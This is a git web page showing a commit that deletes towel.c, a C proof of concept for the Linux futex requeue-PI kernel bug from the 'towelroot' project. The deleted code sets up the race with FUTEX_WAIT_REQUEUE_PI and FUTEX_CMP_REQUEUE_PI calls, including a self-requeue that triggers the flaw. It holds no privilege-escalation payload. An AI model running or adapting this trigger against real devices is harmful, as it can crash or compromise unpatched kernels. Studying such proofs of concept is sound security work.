aboutsummaryrefslogtreecommitdiffstats
path: root/towel.c
diff options
context:
space:
mode:
authorzzhou007 <zzhou007@ucr.edu>2016-11-08 12:47:35 -0800
committerzzhou007 <zzhou007@ucr.edu>2016-11-08 12:47:35 -0800
commit10e8b1c4ac2382d261256164a81a34553813b06e (patch)
tree68b61e201051e46b0d503b5b3260c23b495940b6 /towel.c
parent483955d7bbe65057e44e286439642e329ff3cd39 (diff)
downloadtowelroot-10e8b1c4ac2382d261256164a81a34553813b06e.tar.gz
towelroot-10e8b1c4ac2382d261256164a81a34553813b06e.tar.bz2
towelroot-10e8b1c4ac2382d261256164a81a34553813b06e.zip
edited poc
Diffstat (limited to 'towel.c')
-rw-r--r--towel.c102
1 files changed, 0 insertions, 102 deletions
diff --git a/towel.c b/towel.c
deleted file mode 100644
index 5481bff..0000000
--- a/towel.c
+++ /dev/null
@@ -1,102 +0,0 @@
-#include <stdio.h>
-#include <unistd.h>
-#include <pthread.h>
-#include <stdlib.h>
-#include <linux/futex.h>
-#include <sys/syscall.h>
-
-#define USERLOCK_FREE 0
-#define USERLOCK_OCCUPIED 1
-#define FUTEX_WAIT_REQUEUE_PI 11
-#define FUTEX_CMP_REQUEUE_PI 12
-
-inline void userlock_wait(volatile const int *userlock) {
- while (USERLOCK_OCCUPIED == *userlock) {
- usleep(10);
- }
-}
-
-inline void userlock_lock(volatile int *userlock) {
- *userlock = USERLOCK_OCCUPIED;
-}
-
-inline void userlock_release(volatile int *userlock) {
- *userlock = USERLOCK_FREE;
-}
-
-int get_voluntary_ctxt_switches(pid_t tid) {
- FILE *fp;
- char proc_path[256];
- char buf[0x1000];
- char *ptr = buf;
- int count = -1;
- snprintf(proc_path, sizeof(proc_path), "/proc/self/task/%d/status", tid);
- fp = fopen(proc_path, "rb");
- if (fp != NULL) {
- fread(buf, sizeof(unsigned char), sizeof(buf), fp);
- ptr = strstr(buf, "voluntary_ctxt_switches:");
- ptr += strlen("voluntary_ctxt_switches:");
- count = atoi(ptr);
- fclose(fp);
- }
- return count;
-}
-
-void wait_for_thread_to_wait_in_kernel(pthread_t tid, int context_switch_count) {
- while (get_voluntary_ctxt_switches(tid) <= context_switch_count) {
- usleep(10);
- }
-}
-
-inline int futex_lock_pi(int *uaddr) {
- return syscall(__NR_futex, uaddr, FUTEX_LOCK_PI, 0, NULL, NULL, 0);
-}
-
-inline int futex_wait_requeue_pi(int *uaddr1, int *uaddr2) {
- return syscall(__NR_futex, uaddr1, FUTEX_WAIT_REQUEUE_PI, 0, NULL, uaddr2, 0);
-}
-
-inline int futex_requeue_pi(int *uaddr1, int *uaddr2, int cmpval) {
- return syscall(__NR_futex, uaddr1, FUTEX_CMP_REQUEUE_PI, 1, NULL, uaddr2, cmpval);
-}
-
-int A = 0, B = 0;
-volatile int invoke_futex_wait_requeue_pi = 0;
-volatile pid_t thread_tid = -1;
-
-void *thread(void *arg) {
- thread_tid = gettid();
- printf("[2]\n");
- userlock_wait(&invoke_futex_wait_requeue_pi);
- futex_wait_requeue_pi(&A, &B);
- printf("Someone woke me up\n");
- while (1) {
- sleep(1);
- }
-}
-
-int main(int argc, char *argv[]) {
- pthread_t t;
- int context_switch_count = 0;
- printf("[1]\n");
- futex_lock_pi(&B);
- userlock_lock(&invoke_futex_wait_requeue_pi);
- pthread_create(&t, NULL, thread, NULL);
- /* Wait for the thread to be in a system call */
- while (thread_tid < 0) {
- usleep(10);
- }
- context_switch_count = get_voluntary_ctxt_switches(thread_tid);
- userlock_release(&invoke_futex_wait_requeue_pi);
- wait_for_thread_to_wait_in_kernel(thread_tid, context_switch_count);
- printf("[3]\n");
- futex_requeue_pi(&A, &B, A);
- printf("[4]\n");
- B = 0;
- printf("[5]\n");
- futex_requeue_pi(&B, &B, B);
- while (1) {
- sleep(1);
- }
- return 0;
-}